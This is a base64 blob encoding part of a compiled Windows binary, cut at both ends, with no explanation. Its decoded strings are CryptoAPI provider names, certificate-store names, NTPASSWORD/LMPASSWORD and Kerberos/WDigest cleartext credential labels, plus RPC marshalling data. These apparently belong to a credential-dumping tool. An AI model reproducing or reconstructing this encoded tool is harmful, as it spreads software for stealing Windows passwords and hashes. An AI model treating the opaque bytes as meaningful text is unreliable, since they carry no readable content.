AAAAAAQwBBAEwARwBfAFIAQwA1AAAAAAAAAAAAQwBBAEwARwBfAFQATABTADEAXwBNAEEAUwBUAEUAUgAAAAAAAAAAAEMAQQBMAEcAXwBTAFMATAAyAF8ATQBBAFMAVABFAFIAAAAAAAAAAABDAEEATABHAF8AUABDAFQAMQBfAE0AQQBTAFQARQBSAAAAAAAAAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAEUATgBDAF8ASwBFAFkAAAAAAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAE0AQQBDAF8ASwBFAFkAAAAAAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAE0AQQBTAFQARQBSAF8ASABBAFMASAAAAAAAAABDAEEATABHAF8AUwBTAEwAMwBfAE0AQQBTAFQARQBSAAAAAAAAAAAAQwBBAEwARwBfAFMAUwBMADMAXwBTAEgAQQBNAEQANQAAAAAAAAAAAEMAQQBMAEcAXwBDAFkATABJAE4ASwBfAE0ARQBLAAAAQwBBAEwARwBfAFQARQBLAAAAAAAAAAAAQwBBAEwARwBfAFMASwBJAFAASgBBAEMASwAAAAAAAABDAEEATABHAF8ASABVAEcASABFAFMAXwBNAEQANQAAAEMAQQBMAEcAXwBLAEUAQQBfAEsARQBZAFgAAAAAAAAAQwBBAEwARwBfAEEARwBSAEUARQBEAEsARQBZAF8AQQBOAFkAAAAAAEMAQQBMAEcAXwBEAEgAXwBFAFAASABFAE0AAAAAAAAAQwBBAEwARwBfAEQASABfAFMARgAAAAAAQwBBAEwARwBfAFMARQBBAEwAAAAAAAAAQwBBAEwARwBfAFIAQwA0AAAAAAAAAAAAQwBBAEwARwBfAFIAQwAyAAAAAAAAAAAAQwBBAEwARwBfAEQARQBTAFgAAAAAAAAAQwBBAEwARwBfADMARABFAFMAAAAAAAAAQwBBAEwARwBfADMARABFAFMAXwAxADEAMgAAAAAAAABDAEEATABHAF8ARABFAFMAAAAAAAAAAABDAEEATABHAF8AUgBTAEEAXwBLAEUAWQBYAAAAAAAAAEMAQQBMAEcAXwBOAE8AXwBTAEkARwBOAAAAAAAAAAAAQwBBAEwARwBfAEQAUwBTAF8AUwBJAEcATgAAAAAAAABDAEEATABHAF8AUgBTAEEAXwBTAEkARwBOAAAAAAAAAEMAQQBMAEcAXwBNAEEAQwAAAAAAAAAAAEMAQQBMAEcAXwBTAEgAQQAxAAAAAAAAAEMAQQBMAEcAXwBNAEQANQAAAAAAAAAAAEMAQQBMAEcAXwBNAEQANAAAAAAAAAAAAEMAQQBMAEcAXwBNAEQAMgAAAAAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAEEARQBTAAAAAAAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIATgBHAAAAAAAAAAAAUABSAE8AVgBfAFMAUABZAFIAVQBTAF8ATABZAE4ASwBTAAAAAAAAAFAAUgBPAFYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAAAAAAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8ARgBVAEwATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBTAEkARwAAAAAAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8AUwBJAEcAAAAAAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAAAAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAAAAAABQAFIATwBWAF8ARgBPAFIAVABFAFoAWgBBAAAAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAAAAAAFAAUgBPAFYAXwBSAFMAQQBfAFMASQBHAAAAAAAAAAAAUABSAE8AVgBfAFIAUwBBAF8ARgBVAEwATAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAAAAAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAUwBtAGEAcgB0ACAAQwBhAHIAZAAgAEMAcgB5AHAAdABvACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQASABfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARQBOAEgAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAEQASABfAFAAUgBPAFYAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAHQAcgBvAG4AZwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBEAEUARgBfAFAAUgBPAFYAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFUAUwBFAFIAUwAAAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUg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